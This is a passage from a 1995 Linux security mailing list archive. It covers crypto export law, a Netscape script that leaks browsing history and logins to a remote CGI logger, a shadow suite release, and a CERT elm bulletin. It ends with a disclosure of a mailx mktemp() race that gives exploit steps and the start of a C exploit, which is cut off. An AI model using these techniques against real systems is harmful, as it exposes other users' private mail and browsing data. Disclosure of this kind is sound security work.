would be to provide a "security" package for existing major distributions (i.e. Slackware, Debian) that users could download and add themselves. Maintaining matching sets of such a package would be easier, but it wouldn't provide the sort of blanket security that would be ideal. And one last, unrelated note... any security package for Linux distributions should PLEASE include Tripwire or some other checksum utility! I just have horrible visions of someone sneaking a hacked binary of ssh or PGP into a standard distribution... -- = * David Stagner [email protected] * National Computer Systems vox 319 354 9200 ext 6884 * Operations Division fax 319 339 6555 I disclaim my employer and I'm sure they'd disclaim me too. linux-security/1995/linux-security.951217100664 1767 1767 27330 6065131400 17252 0ustar majdommajdomFrom [email protected] Sun Dec 17 19:14:14 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA00641; Sun, 17 Dec 1995 19:14:13 -0500 From: [email protected] (Remy Card) Message-Id: <[email protected]> Subject: Re: Getting security tools into a mainstream distribution To: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) Date: Thu, 14 Dec 1995 01:30:33 +0100 (MET) Cc: [email protected] In-Reply-To: <[email protected]> from "Thomas =?ISO-8859-1?Q?K=F6nig?=" at Dec 13, 95 01:47:54 am X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: [email protected] Precedence: list >=20 > 2.4 PL25 ME8bWhat's the best way of getting cryptographic tools such as= ssh or > pgp by default into a mainstream Linux distribution, given US > export law? The FreeBSD project uses a special FTP server located in South Africa to distribute the international version of the cryptographic tools= From [email protected] Sun Dec 17 19:14:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA00663; Sun, 17 Dec 1995 19:14:30 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Getting security tools into a mainstream distribution To: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) Date: Thu, 14 Dec 1995 10:18:57 +0000 (GMT) Cc: [email protected] In-Reply-To: <[email protected]> from "Thomas =?ISO-8859-1?Q?K=F6nig?=" at Dec 13, 95 01:47:54 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list > I'm particularly concerned with ssh, which should (IMHO) completely > replace rlogin/rsh, unless a specific fallback to those old and > insecure utilities is needed for compatibility with other systems. > > Are any major Linux distributions hosted outside the US? Could they > be moved, for that reason? Other comments? The only obvious ones hosted outside the USA are the German ones like SuSE. I believe you'll find Germany has some crypto export law which is all a bit irrelevant as the EEC single market means you can export it to the UK under EEC law then anywher else. Best that someone puts together a 'free-world' package for Slackware and Redhat and puts it on some easy to get to ftp sites (eg funet). Also don't ask the developers of any distributions you do the packages for for their support - that might risk dropping them in something although its unlikely. Alan From [email protected] Sun Dec 17 19:16:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA00726; Sun, 17 Dec 1995 19:16:43 -0500 Date: Thu, 14 Dec 1995 15:33:25 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Netscape "bug" (fwd) Newsgroups: alt.usenet.reposts In-Reply-To: Organization: Hadron, Inc. [Posting from Cap. Area Internet Svcs.] Sender: [email protected] Precedence: list Found this in a somewhat odd place; haven't tested it. - Joe ------- start of forwarded message ------- Newsgroups: alt.usenet.reposts Subject: Netscape "bug" Date: Wed, 6 Dec 1995 19:16:22 reposted from uk.misc where it was reposted from somewhere else ------- Start of forwarded message ------- >From: Scott Weston >Subject: Netscape 2.0b2 allows for invasion of privacy Hi 'Net Dwellers, First off - I've posted this before (however not to this group) and only got a response from the Netscape Corp. They were glad I found the problem and said that they would fix it, however I feel that people should know about it. Also I would like people to help me spread this document around, i.e. if you know of a newsgroup (or people) that would find this interesting then please re-postit. On with the problem... I've recently got hold of the latest netscape, and was (at first) very excited about the new "LiveScripts" that it supports. If people don't yet know - these "LiveScripts" allow you to put small programs into your web page that is then executed by the Netscape client. There is no DIRECT way for these programs to send information back to the owner of the web page, however I was able to do it in a not-so-direct way. The "LiveScript" that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file. Now if this hasn't quite CLICKED yet lets do a little example. Johnny Mnemonic starts up his newly acquired version of Netscape2.0b2 to start his daily "surf" session. First he decides to check his CD-NOW purchase and uses the handy Auto-Login URL. Then he decides to go to Lycos and do a search. In his search he find my page, which he decides to visit. Suddenly he is transported, not to my main page but to one of my CGI scripts, which in turn happens to have ALL the URL's he just been to in it. This means that in my log will be: - the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password. - The exact search params he used on Lycos (i.e. exactly what he searched for) - plus any other places he happened to visit. I do this in a way that the user will KNOW that it has happened and will _hopefully_ email Netscape and tell them they are NOT impressed. But it would be EASY for me to change the CGI script so that the user is unaware that it has actually happened, unless they closely examine their URL history (in fact they'll probably just think its a netscape bug). If you're skeptical about this then do the test yourself. Get netscape 2.0b2 and do some normal surfing, and then go to Lycos. Do a search for: scotts car boot sale which should return the URL - http://www.tripleg.com.au/staff/scott Click on the URL and sit back an watch. First my main page will show up but a little while later you should be transported to a CGI bin script that will show you your URL history. I have tested this with both the Linux 2.0b2, and Solaris 2.0b2 versions and both have done the same thing. I would be interested in knowing if it happens for ALL versions of Netscape2.0b2. The log file does log the User Agent (i.e. the name of the platform you are using) so by simply going to the page I will know that your version of Netscape is also open to this form of attack. Currently I can find no way to configure Netscape2.0b2 to NOT run LiveScripts - and at the very least this option should be quickly added to the next version of netscape to be released. But a far better solution (IMHO) would be for netscape to pop up a window before running the LiveScript and let you know what the LiveScript wants access to, e.g. if it only wants to print out the current time then that's OK, but if it wants to read my history list and then transport me to a CGI script and add me to a logfile then maybe I would say NO. I think I've said enough.... If you've got any further questions, or want some more information just email me : [email protected] -- Scott. -- Dom\ The end of the world is in late Beta... no, hang on, \ Bill Gates just bought it. We're safe again. ------- end of forwarded message ------- -- Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sun Dec 17 19:17:04 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA00743; Sun, 17 Dec 1995 19:17:03 -0500 Message-Id: <[email protected]> Subject: Re: Getting security tools into a mainstream distribution To: [email protected] (Dave Stagner) Date: Fri, 15 Dec 1995 12:55:18 +0100 (MET) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Dave Stagner" at Dec 14, 95 10:06:18 am From: [email protected] X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > [mod: quotung trimmed --okir] > Thomas koenig wrote: [Thomas: I corrected your name.... Not many people would've recognized it in the form it was.....] > > What's the best way of getting cryptographic tools such as ssh or > > pgp by default into a mainstream Linux distribution, given US > > export law? > > = > > I see one major problem with this... any encryption software based on > the RSA algorithm (most notably PGP) is subject to patent restrictions > in the US entirely separate from export restrictions. Free software > using RSA released in the US must legally be built using the RSAREF > library (used by the US version of PGP distributed by MIT), while > RSA-based software used overseas uses a clone of the RSAREF library (I > can't remember its name offhand). Meanwhile, the RSAREF library itself > is illegal to use outside the US (at least according to US law!) How about the following: if someone outside the US makes a version of the software that through installation of a shared library becomes cryptographically enabled. This part of the software needs to be based outside the US, as this type of software is ITAR regulated. (Yes: Just because you can plug in a Crypto unit, it itself becomes cryptography, and thus regulated). What could be implemented should be capable of simultaneously supporting several different "plug-and-play" modules that handle the cryptographic side of the stuff. This allows non-us-based sites to distribute a version that contains a non-RSA module, which can be augmented with the RSAREF unit inside the US, and the clone outside the USA. > So we have two problems here. The first is that it would be illegal to > export a Linux distribution with strong encryption from the US. The > second is that it would be illegal to import a European-based > distribution with strong encryption INTO the US, albiet for different > reasons. This is not quite true. It's illegal to import RSA into the USA. This is different from "strong cryptography". This means that non-US-based distributions might provide non-RSA strong encryption by default. US-based distributions should mark the cryptographic section as "not for export". Come to think about it: As soon as someone makes a "strong encryption package" that installs cleanly onto e.g. "SlackWare 3.0", the "Slackware 3.0" distribution automatically becomes an ITAR regulated item. Not that Patrick can do anything to prevent this.... > Another possibility would be to provide a "security" package for > existing major distributions (i.e. Slackware, Debian) that users could > download and add themselves. Maintaining matching sets of such a > package would be easier, but it wouldn't provide the sort of blanket > security that would be ideal. In my opinion, the only thing that really works is to equip the major distributions with encryption by default. With a little care Linux will provide for a base of encryption capable machines allowing a quick expansion to other machines....... Roger. -- *** War doesn't determine who's right ****** War determines who's left. *** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** linux-security/1995/linux-security.951218100664 1767 1767 2670 6065263623 17250 0ustar majdommajdomFrom [email protected] Mon Dec 18 08:07:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id IAA03514; Mon, 18 Dec 1995 08:07:29 -0500 From: [email protected] Message-Id: >From: [email protected] (Olaf Kirch) Subject: ADMIN: Posts on crypto stuff in Linux distributions To: [email protected] Date: Mon, 18 Dec 1995 01:16:37 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Hi all, I've decided to cut down on the number of follow-ups to Thomas' post about including crypto software and other security-related stuff in Linux distributions. Therefore, I will not approve any more messages dealing exclusively with the political and legal implications of doing so. This topic has been hashed out a number of times on other mailing lists and on usenet, and the basic message is clear: you can't export crypto software from the US, and even adding the capabilities for plugging in a crypto module makes a distribution subject to export restrictions. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.951219100664 1767 1767 24632 6065534176 17277 0ustar majdommajdomFrom [email protected] Tue Dec 19 06:09:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA10098; Tue, 19 Dec 1995 06:09:55 -0500 From: [email protected] Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Pro Version 2.2b7 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 18 Dec 1995 00:16:47 -0800 To: [email protected] >From: Alan Olsen Subject: Re: Netscape "bug" (fwd) Sender: [email protected] Precedence: list At 03:33 PM 12/14/95 -0500, you wrote: >Found this in a somewhat odd place; haven't tested it. - Joe > >------- start of forwarded message ------- >Newsgroups: alt.usenet.reposts >Subject: Netscape "bug" >Date: Wed, 6 Dec 1995 19:16:22 > >reposted from uk.misc where it was reposted from somewhere else This was fixed in 2.0b3. | Remember: Life is not always champagne. Sometimes it is REAL pain. | |"It's only half a keyserver. I had to split the | Disclaimer: | |other half with the government man." - R. Rococo | Ignore the man | |`finger -l [email protected]` for PGP 2.6.2 key | behind the keyboard.| | http://www.teleport.com/~alano/ | [email protected] | From [email protected] Tue Dec 19 06:10:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA10120; Tue, 19 Dec 1995 06:10:33 -0500 From: [email protected] Message-Id: <[email protected]> Date: Mon, 18 Dec 1995 15:26:02 -0600 >From: Dave Stagner Organization: National Computer Systems X-Mailer: Mozilla 2.0b3 (X11; I; AIX 2) Mime-Version: 1.0 To: [email protected] Cc: Dave Stagner , [email protected], [email protected] Subject: Re: Getting security tools into a mainstream distribution References: <[email protected]> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [email protected] wrote: > > > > > I see one major problem with this... any encryption software based on > > the RSA algorithm (most notably PGP) is subject to patent restrictions > > in the US entirely separate from export restrictions. Free software > > using RSA released in the US must legally be built using the RSAREF > > library (used by the US version of PGP distributed by MIT), while > > RSA-based software used overseas uses a clone of the RSAREF library (I > > can't remember its name offhand). Meanwhile, the RSAREF library itself > > is illegal to use outside the US (at least according to US law!) > > How about the following: if someone outside the US makes a version > of the software that through installation of a shared library becomes > cryptographically enabled. This part of the software needs to be > based outside the US, as this type of software is ITAR regulated. > (Yes: Just because you can plug in a Crypto unit, it itself becomes > cryptography, and thus regulated). > > What could be implemented should be capable of simultaneously > supporting several different "plug-and-play" modules that handle the > cryptographic side of the stuff. This allows non-us-based sites to > distribute a version that contains a non-RSA module, which can be > augmented with the RSAREF unit inside the US, and the clone outside > the USA. I really like the idea of using shared libraries to handle crypto stuff (let's make sure the system is immune from the linker bug first!). Phil Zimmerman is already working on a very useful addition to our secure software systems. I talked to him about the future of PGP this summer, and he said the next release (3.0?) will not be a standalone program, but rather a library designed to be linked into other programs. This could drastically increase the amount of PGP-enabled software available, especially in the non-unix world. At the time I spoke to him (late August), PGP 3.0 development had been on hold for some time while he finished PGPfone, but hopefully he's back at it again. > > So we have two problems here. The first is that it would be illegal to > > export a Linux distribution with strong encryption from the US. The > > second is that it would be illegal to import a European-based > > distribution with strong encryption INTO the US, albiet for different > > reasons. > > This is not quite true. It's illegal to import RSA into the USA. > This is different from "strong cryptography". This means that > non-US-based distributions might provide non-RSA strong encryption > by default. You're absolutely correct. That's what I was trying to say, and I see in hindsight I didn't say it very well. Certainly, DES and other symmetric algorithms would work for both the US and Euro/free world versions. The only problem would be RSA. The only solution I can see would be using PGP-i outside the US, and RSAREF inside the US. We'd probably have to hack up PGP a little for the US version too, to dynamically link RSAREF and make sure the performance improvements PGP makes on RSAREF work okay. So it wouldn't be easy. But I don't see how we can really make a good "secure" Linux distribution without public key cryptography, so the RSA problem must be dealt with. > US-based distributions should mark the cryptographic section as "not > for export". Come to think about it: As soon as someone makes a > "strong encryption package" that installs cleanly onto e.g. > "SlackWare 3.0", the "Slackware 3.0" distribution automatically > becomes an ITAR regulated item. Not that Patrick can do anything to > prevent this.... This is something else to consider. We don't want to turn an uninvolved bystander like Patrick into an international arms smuggler without his consent! That's (yet another) really stupid consequence of ITAR. The easy solution would be to construct a plug-in replacement for the Slackware N series (the NS series?) with crypto-enhanced versions of the standard network utilities and PGP. But in practice, we either need a non-US-based distribution or someone with deep pockets and a lot of courage who is willing to get knocked around the way the govt has treated Phil Zimmerman. > In my opinion, the only thing that really works is to equip the major > distributions with encryption by default. With a little care Linux > will provide for a base of encryption capable machines allowing > a quick expansion to other machines....... > > Roger. Or more likely, a new distribution will be created (or an old one adapted) which would need to become a standard the way Slackware and Red Hat are standards now. Such a system would be designed with security in mind from the start... built-in shadowed passwords, PGP, ssh, Tripwire, Kerberos, the works. There's more to building a secure system than tossing in a copy of PGP, as all of us well know. To rant a little... one of the most distressing problems in the Linux world (imho) is that thousands of people who have not the time, the inclination, or the aquired skills to be professional security administrators are putting up Linux boxes on the Internet. And this means thousands of sites will eventually be cracked through well-known loopholes like the wu.ftpd bug, because their administrators simply didn't know how to set up a secure system. A distribution designed for security could go a long way toward preventing these problems. It would be good for Linux, and good for the Internet community. -- * David Stagner [email protected] * National Computer Systems vox 319 354 9200 ext 6884 * Operations Division fax 319 339 6555 I disclaim my employer and I'm sure they'd disclaim me too. From [email protected] Tue Dec 19 08:05:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id IAA10401; Tue, 19 Dec 1995 08:05:01 -0500 From: [email protected] >From: Unix mailing list recipient Message-Id: <[email protected]> Subject: Just wondering about timing and IPng. To: [email protected] Date: Fri, 15 Dec 1995 18:17:33 -0800 (PST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list [mod: `timing attack' refers to a method of guessing the secret exponent in various crypto algorithms by watching the time required to perform one operation. --okir] Just wondering if there is any Linux specific news on the timing attack, http://www.cryptography.com, or IPng as described in the following USENET post. From: [email protected] Newsgroups: comp.protocols.tcp-ip Subject: URL for freely distributable IPv6 source code Aside from the IPng Home Page, which was just posted to this newsgroup, there are some other sources of information. A few of these are mentioned in this posting. There are various Internet Drafts (which are working documents of the IETF and hence are subject to change without notice) online at various archive sites around the world, perhaps most notably at: ftp://ds.internic.net/pub/internet-drafts The security portion of IPv6 was published already -- as RFC-1825 through RFC-1829 (NB: This technology applies to both IPv4 and IPv6). ftp://ds.internic.net/pub/rfc The NRL IPv6/IP-security source code "alpha-quality" release for 4.4-Lite BSD of 30 September 1995, which should drop easily into NetBSD, BSDI, and other 4.4-Lite derived OSs, has mysteriously appeared online at: ftp://ftp.c2.org The NRL software is probably subject to US Export Controls because it includes implementation of DES-CBC encryption of IP datagrams. An exportable version of the NRL software does exist, but it isn't clear whether it is online anywhere as of today. A couple of folks at NRL continue to work on IPv6/IPsec, though it is not at all clear how long that will be true. A revised version of the NRL distribution will hopefully appear online around the end of this year. MIT will eventually be making the NRL sources available online, but has not yet had time to put them out. Ran [email protected] -- Gary Johnson "The numbers themselves may be our best tools." [email protected] Fed flip? linux-security/1995/linux-security.951220100664 1767 1767 23215 6065734031 17253 0ustar majdommajdomFrom [email protected] Wed Dec 20 02:14:47 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id CAA14825; Wed, 20 Dec 1995 02:14:47 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: New beta release of the shadow suite To: [email protected], [email protected], [email protected], [email protected] Date: Tue, 19 Dec 1995 21:38:30 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list [ Note: sunsite.unc.edu refuses connections right now - I couldn't upload this version there. I will try again later. Please get it from ftp.ists.pwr.wroc.pl instead. Thanks. --marekm ] This is a new beta release of the Shadow Password Suite for Linux. Many bugs have been reported (and fixed!), and the package is now under a BSD-style copyright. It was written by John F. Haugh II , and the Linux port is now maintained by me. Again, this is beta software which may still have some bugs, please treat it as such. Please don't install it if you don't know what you're doing. Please test it as much as you can, and report any bugs - if you report them, they will be fixed! If all goes well, Shadow should be stable enough for general use within a few months. Once it is stable, Linux distributions can start using it - there are no copyright problems anymore. Thanks to Greg Gallagher there is now a developers mailing list, [email protected]. Send the command "subscribe" to [email protected] (NOT to the mailing list itself!) to subscribe if you are interested. LSM entry follows: Begin3 Title: Shadow Password Suite Version: 3.3.3-951218 Entered-date: 18DEC95 Description: Keywords: login passwd security shadow Author: [email protected] (John F. Haugh II) Maintained-by: [email protected] (Marek Michalkiewicz) Primary-site: sunsite.unc.edu /pub/Linux/system/Admin shadow-951218.tar.gz 226373 bytes md5sum: 717532096052a89c59a12501cc71d29c Alternate-site: ftp.ists.pwr.wroc.pl /pub/linux/shadow Original-site: ftp.uu.net ? Platforms: Copying-policy: BSD-like End Marek Michalkiewicz [email protected] From [email protected] Wed Dec 20 02:15:36 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id CAA14847; Wed, 20 Dec 1995 02:15:35 -0500 Date: Tue, 19 Dec 1995 13:49:59 -0700 (MST) From: Joel Maslak X-Sender: [email protected] To: [email protected] Subject: (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 (fwd) Message-ID: Organization: Not Likely! MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- This definitely affects Slackware 3.0. Joel Maslak Today's dreams WILL become tomorrow's realities! - - ---------- Forwarded message ---------- Relay-Version: ANU News - V6.1B10 04/18/95 OpenVMS AXP V6.2; site roper.uwyo.edu Path: roper.uwyo.edu!csn!nntp-xfer-2.csn.net!uucp-1.csn.net!csn!magnus.acs.ohio-state.edu!math.ohio-state.edu!cis.ohio-state.edu!nntp.sei.cmu.edu!news.sei.cmu.edu!cert-advisory Newsgroups: comp.security.announce Subject: CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 Message-ID: <[email protected]> From: CERT Bulletin Date: Mon, 18 Dec 1995 15:56:15 EST Reply-To: [email protected] Sender: [email protected] (Netnews) Organization: CERT(sm) Coordination Center - +1 412-268-7090 Keywords: security CERT Approved: [email protected] Originator: [email protected] Lines: 164 CERT Vendor-Initiated Bulletin VB-95:10 December 18, 1995 Topic: Vulnerability in elm 2.4 PL 24 Source: Bill Pemberton, University of Virginia To aid in the wide distribution of essential security information, the CERT Coordination Center is forwarding the following information from Bill Pemberton, who is the coordinator of the group that maintains elm. Mr. Pemberton urges you to act on this information as soon as possible. His contact information is included in the forwarded text below; please contact him if you have any questions or need further information. ========================FORWARDED TEXT STARTS HERE============================ I. Description Elm will follow symlinks in /tmp when opening temp files. All systems that support symlinks are vulnerable. II. Impact Users on the system can create files in the directories of other elm users. You can determine what version of elm you are running with the -v command line option (run "elm -v"). III. Solution Upgrade to elm 2.4 PL 25. The patch to upgrade from elm 2.4 PL 24 to PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.p25 MD5 (elm2.4.p25) = 5ec93595c7573be4d0cb4ce7097b6e83 The full distribution of elm 2.4 PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.tar.Z MD5 (elm2.4.tar.Z) = e5bdc4492a4931402c57ac9a8cf111b2 IV. Contact information Bill Pemberton [email protected] ITC/Unix Systems [email protected] University of Virginia uunet!virginia!wfp5p =========================FORWARDED TEXT ENDS HERE============================= CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT is a service mark of Carnegie Mellon University. CERT Vendor-Initiated Bulletin VB-95:10 December 18, 1995 Topic: Vulnerability in elm 2.4 PL 24 Source: Bill Pemberton, University of Virginia To aid in the wide distribution of essential security information, the CERT Coordination Center is forwarding the following information from Bill Pemberton, who is the coordinator of the group that maintains elm. Mr. Pemberton urges you to act on this information as soon as possible. His contact information is included in the forwarded text below; please contact him if you have any questions or need further information. ========================FORWARDED TEXT STARTS HERE============================ I. Description Elm will follow symlinks in /tmp when opening temp files. All systems that support symlinks are vulnerable. II. Impact Users on the system can create files in the directories of other elm users. You can determine what version of elm you are running with the -v command line option (run "elm -v"). III. Solution Upgrade to elm 2.4 PL 25. The patch to upgrade from elm 2.4 PL 24 to PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.p25 MD5 (elm2.4.p25) = 5ec93595c7573be4d0cb4ce7097b6e83 The full distribution of elm 2.4 PL 25 is available at: ftp://ftp.myxa.com/pub/elm/elm2.4.tar.Z MD5 (elm2.4.tar.Z) = e5bdc4492a4931402c57ac9a8cf111b2 IV. Contact information Bill Pemberton [email protected] ITC/Unix Systems [email protected] University of Virginia uunet!virginia!wfp5p =========================FORWARDED TEXT ENDS HERE============================= CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT is a service mark of Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMNclbw997Hm3GXY1AQGnUgP/XC7c05JlPbx5Vr0XArzyds9SrTDu0ljA /3/WFo9IHZk5sL5xByjVL31re5iUDWd4aB3i6JX/3DLbYjOVw6pbHJ2q0hgQN9D3 wEruDZWyO+POunsW7xy+d87Sx4Y77stGB17MaxltsMvbgVRFQLYnZfguylF38x1W Ugf2CBnKoTg= =ZoCt -----END PGP SIGNATURE----- linux-security/1995/linux-security.951223100664 1767 1767 25627 6067112416 17266 0ustar majdommajdomFrom [email protected] Sat Dec 23 13:08:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA01989; Sat, 23 Dec 1995 13:08:14 -0500 Message-ID: Date: Fri, 22 Dec 1995 17:35:01 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: mailx-5.5 (slackware /bin/mail) security hole Sender: [email protected] Precedence: list [mod: The timing of this is somewhat unfortunate, given that most people are off for xmas dinner now. However this has been posted to bugtraq, too, so there's no point in delaying it. --okir] There is a problem prevalent in the way many programs implement their usage of mktemp() in order to create temporary files in /tmp, allowing users on a machine to read and write to the contents of temporary files created. The basic problem is that there is a race condition that exists between the point that a program calls mktemp(), and the pathname returned by mktemp is actually created. For some programs, the file creation is immediately or almost immediately following the mktemp(), resulting in an extremely small window of opportunity, and as a result making it very difficult to exploit. However, there are other programs that do not immediately open the file, and in these cases it is only a matter of getting the timing right in order to exploit the hole. To exploit this hole, simply create the file that mktemp() returns as a valid temporary filename after mktemp() has been called, but before the file has been opened, allowing the user running the program permissions to read and write from that temporary file. The program will then succeed in an fopen, and will write to the file, oblivious to the fact that it didn't actually create the file, and that others can also read and write from the file. Note that most programs will immediately unlink() a temporary file, but that does not delete it until after it is closed. Closing a file results in the contents of it being flushed, and so by using a 'tail -f' or a similar procedure, you can capture the contents of the file before it is removed from the filesystem. The filename returned by mktemp() is easily determined for most unix platforms, allowing this bug to be exploited. For the linux libc, this is to replace the X's in the template with the leftmost digit starting at 'a', and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and then replacing the rest of the X's with the process id (0 padded). Other operating systems use a variation of this technique, experimentation easily reveals the algorithm. The generic procedure used to formulate an exploit for a particular program with this bug is as follows: 1. detect the execution of the program. 2. determine the temporary filename that mktemp() will return when called by the program. 3. determine the point at which mktemp() is called by the program, and immediately following that point, create the file, with rw permissions for the user who is running the program. 4. read the contents of the temporary file, using a 'tail -f' or your own routines. Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers from this mktemp() problem in all temporary files it creates. It uses 5 temporary files with filenames generated during the program's initialization in a tinit() function, and then uses them as it becomes necessary during the program's execution. The race condition begins in this tinit() function. The temporary files that can be exploited are as follows: /tmp/ReXXXXXX Used when a user selects 'e' from the mailx command prompt, to edit mail. The message the user has selected to edit is copied to the temporary file at this point, and then the editor is invoked on that temp file. The race condition ends when the user has selected 'e', and allows the mesage being edited to be read. /tmp/RsXXXXXX Used when a user sends mail, usually from the command line, such as: 'mail dave'. The race condition ends when EOF is recieved from stdin, and the message is about to be sent, and allows the outgoing mail to be read. /tmp/RqXXXXXX Used when mail arrives into the mail spool while mail is currently running. The race condition ends when the program is preparing to shutdown, and allows the new contents of the mail spool to be read. /tmp/RmXXXXXX Used to prepend a message to the user's mbox file. Prepending requires the entire mbox contents to be read to the temporary file and then appened to the new message(s) being added to the file. This is disabled by default in Slackware 3.0 in the /etc/mail.rc by the use of the set append option. For this to be useful, that option needs to be removed from /etc/mail.rc, or an unset append needs to be added to the user executing mail's .mailrc file. The race condition ends when the program is preparing to shutdown /tmp/RxXXXXXX Used to read messages from the user's mail spool. The race condition ends during the program's startup, when the mail spool is read, and allows any new mail in the user's spool to be read. Because there is no user input between tinit() and this point, it is the only race condition that isn't completely trivial to exploit. The exploit that follows demonstrates the flaws in all but the final temporary file. To use, wait for a mail process to execute, then call the mailbug program with the process id as an argument, and finally execute a tail -f /tmp/R*, and let it run until the mail program has terminated execution. After it is over, remove the files you created in /tmp. As an aside, there are a number of programs that are vulnerable to a directed denial of service attack preventing people from using them by creation of the 62 temporary files that are attempted to be used by mktemp(), resulting in the failure of the program to run. By continous running of a program watching for these vulnerable programs to start, they can be prevented from ever successfully executing (one such example of this is in.pop3d, which would allow a denial of service attack against a specific user from recieving mail through pop). Program: mailx-5.5 (/bin/mail) Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5 Requirements: account on system, user using /bin/mail Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else) Security Compromise: any user with an account can read incoming, edited, or outgoing mail if the mail is processed by mailx. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. mailbug.c: /* This program creates temporary files used by mailx (/bin/mail under Slackware 3.0), which can then be read by the program. This will exploit 4 of the 5 temporary files, the final temporary file is a tighter race condition, and is not handled by this code. Following execution of this program with the process id of mail that is running, execute 'tail -f /tmp/R*', redirecting to a file if desired, and allow it to run until the mail process has exited. This can be easily handled in a shell script, but is not included since it is not needed to sufficiently demonstrate the security flaw. Dave M. ([email protected]) */ #include #include #include #include void exploit_mktemp(char *dest, char *prepend, char *pid) { int i; strcpy(dest,prepend); for(i=strlen(pid);i<6;i++) strcat(dest,"0"); strcat(dest,pid); dest[strlen(prepend)] = 'a'; } main(int argc, char **argv) { char tmpf[5][80]; /* hold filename */ umask(0); if(argc<2) { 